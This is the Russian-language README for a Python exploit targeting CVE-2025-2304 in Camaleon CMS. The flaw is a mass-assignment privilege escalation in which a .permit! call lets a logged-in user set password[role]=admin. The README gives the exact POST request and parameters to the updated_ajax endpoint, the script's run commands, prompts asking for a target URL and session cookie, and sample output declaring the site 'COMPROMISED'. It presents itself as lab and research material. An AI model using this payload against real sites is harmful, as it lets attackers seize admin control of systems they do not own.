
Эксплойт-скрипт на Python для CVE-2025-2304, повышение привилегий через массовое назначение в Camaleon CMS. Автоматизирует разбор CSRF-токенов и внедрение параметра роли для повышения аутентифицированных пользователей до администратора в контролируемых лабораторных средах.
CVE-2025-2304 — это уязвимость небезопасного присвоения массовых параметров в Camaleon CMS (версии < 2.9.1), которая позволяет аутентифицированному пользователю повысить свои привилегии до администратора путём манипуляции параметром role в запросах на смену пароля.
Camaleon CMS использует Ruby on Rails, и в версии 2.9.0 содержит уязвимость небезопасного присвоения массовых параметров в контроллере UsersController#updated_ajax. Контроллер использует .permit! без ограничений, что позволяет напрямую присваивать модели пользователя любой параметр, переданный в запросе.
POST /admin/users/{user_id}/updated_ajaxpassword[role], передаваемый в пространстве имён passwordparams.require(:password), а затем применяет .permit!, что не фильтрует никакие параметры"admin" в поле role пользователяPOST /admin/users/3/updated_ajax
Content-Type: application/x-www-form-urlencoded
authenticity_token=[TOKEN]&
password[password]=new_password&
password[password_confirmation]=new_password&
password[role]=admin&
password[id]=3&
_method=patch
Параметр password[role] обрабатывается User.update(permitted_params) и напрямую присваивается записи пользователя из-за .permit!, повышая привилегии с user до admin.
# Python 3.6+
python3 --version
# Required libraries
pip install requests
python3 exploit_cve_2025_2304_en.py
python3 exploit_cve_2025_2304.py
Скрипт будет запрашивать интерактивно:
http(s)://domain:port_cms_session (полученное после входа)P@ssw0rd_lab_2025!)python3 exploit_cve_2025_2304_en.py
[?] Base URL of the server (ex: http://localhost:3000) : http://192.168.1.100:8080
[?] User ID of the attacker user (ex: 3) : 5
[?] Session cookie (_cms_session=VALUE) : _cms_session=abc123def456
Когда я обнаружил эту уязвимость, моим первым порывом было протестировать её вручную через Burp Suite — и это сработало. Но я хотел пойти дальше и превратить ручной процесс в нечто повторяемое и переносимое, поэтому написал этот скрипт. Помимо простой эксплуатации бага, создание этого скрипта дало мне возможность разобраться с некоторыми вещами, которые мне действительно интересны:
Я не пытаюсь заменить Burp или Caido. Эти инструменты незаменимы для интерактивного тестирования. Это просто результат того, что я предпочитаю написать скрипт, чем повторять одно и то же.
ЭТОТ СКРИПТ ПРЕДНАЗНАЧЕН ИСКЛЮЧИТЕЛЬНО ДЛЯ:
- Контролируемых лабораторных сред
- Систем, которыми вы владеете или на тестирование которых имеете явное разрешение
- Образовательных целей и разрешённых исследований
СТРОГО ЗАПРЕЩЕНО:
- Использование на системах без разрешения
- Применение со злонамеренными намерениями
- Нарушение законов о защите данных
- Компрометация безопасности третьих сторон
Автор не несёт ответственности за неправомерное использование этого инструмента.
╔══════════════════════════════════════════════════════════════╗
║ CVE-2025-2304 │ Camaleon CMS — Массовое присвоение ║
║ Повышение привилегий: user → admin ║
║ [ЛАБОРАТОРИЯ / КОНТРОЛИРУЕМАЯ СРЕДА] ║
╚══════════════════════════════════════════════════════════════╝
[✔] CSRF-токен получен: abc123def456...
[✔] ЭКСПЛУАТАЦИЯ УСПЕШНА: Сервер подтвердил обновление.
[✔] Статус: СКОМПРОМЕТИРОВАН
Пользователь 5 теперь должен иметь роль 'admin'.
{
"authenticity_token": "abcd1234",
"password[password]": "P@ssw0rd_lab_2025!",
"password[password_confirmation]": "P@ssw0rd_lab_2025!",
"password[role]": "admin",
"password[id]": "5",
"_method": "patch"
}
Код модульно структурирован для облегчения:
.permit!Приветствуются вклады, которые:
Помните: Этот проект имеет исключительно образовательную и разрешённую исследовательскую цель.
Последнее обновление: апрель 2025 г. | Автор: Аналитик по безопасности (лабораторная среда)